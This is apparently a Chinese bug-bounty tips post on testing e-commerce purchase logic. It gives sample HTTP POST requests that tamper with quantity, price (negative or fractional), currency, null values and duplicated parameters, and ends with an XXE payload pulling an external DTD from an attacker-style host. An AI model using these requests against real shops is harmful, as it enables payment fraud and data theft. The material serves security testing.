前言
电商类的网站国内算是很多了,这里主要总结下相关业务功能的测试步骤以及技巧
正文
第一种方法
尝试控制数量,例如,原来的数量是1件,试着把它改成3件,可以免费得到两件物品,纯业务逻辑层面的漏洞
POST /buying-something HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Origin: https://www.company.com Content-Length: Number Quantity=3&price=10¤cy=dollar&token=************& add=egy
第二种方法
尝试操纵篡改价格,例如原价格是10,试着将其改变为-10或分数值,例如0.10,使商品更便宜
POST /buying-something HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Origin: https://www.company.com Content-Length: Number Quantity=1&price=-10¤cy=dollar&token=************& add=egy
第三种方法
尝试篡改货币种类,例如,原来的货币是美元,试着把它换成印度卢比,让商品更便宜
POST /buying-something HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Origin: https://www.company.com Content-Length: Number Quantity=1&price=10¤cy=INR&token=************& add=egy
第四种方法
尝试在参数的所有字段值中使用负数、零、NaN、null或大量00000,例如Quantity=0000或Quantity=null,可能会发生逻辑问题
POST /buying-something HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Origin: https://www.company.com Content-Length: Number Quantity=null&price=10¤cy=dollar&token=************& add=egy
第五种方法
尝试使用参数污染技术,如Quantity=1&Quantity=2或Quantity=[]获得免费物品
POST /buying-something HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Origin: https://www.company.com Content-Length: Number Quantity=1&Quantity=2&price=10¤cy=dollar& token=************&add=egy
第六种方法
尝试省略参数,例如删除参数及其值或只删除值或尝试将其替换为Null,以引起逻辑问题
POST /buying-something HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Origin: https://www.company.com Content-Length: Number Quantity=1(这里的参数需要删除)&price=10¤cy=dollar&token=************& add=egy
第七种方法
尝试更改内容类型头文件为Content - Type: application/xml,使用XXE有效负载,例如
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://me.com/xxe.dtd" >]>
POST /buying-something HTTP/1.1 Host: www.company.com Content-Type: application/xml;charset=UTF–8 Content-Length: Number <?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "http://me.com/xxe.dtd">]> <root> <Quantity>&xxe;</Quantity> <price>10</price> <add>egy</add> <token>******</token> </root>
参考
https://hackerone.com/reports/364843
https://hackerone.com/reports/403783
https://hackerone.com/reports/771694
https://hackerone.com/reports/927661
https://hackerone.com/reports/422331
https://twitter.com/sunilyedla2/status/1338746485416972289
https://darkweblinks.org/2018/08/10/xxe-for-fun-and-profit-converting-json-request-to-xml/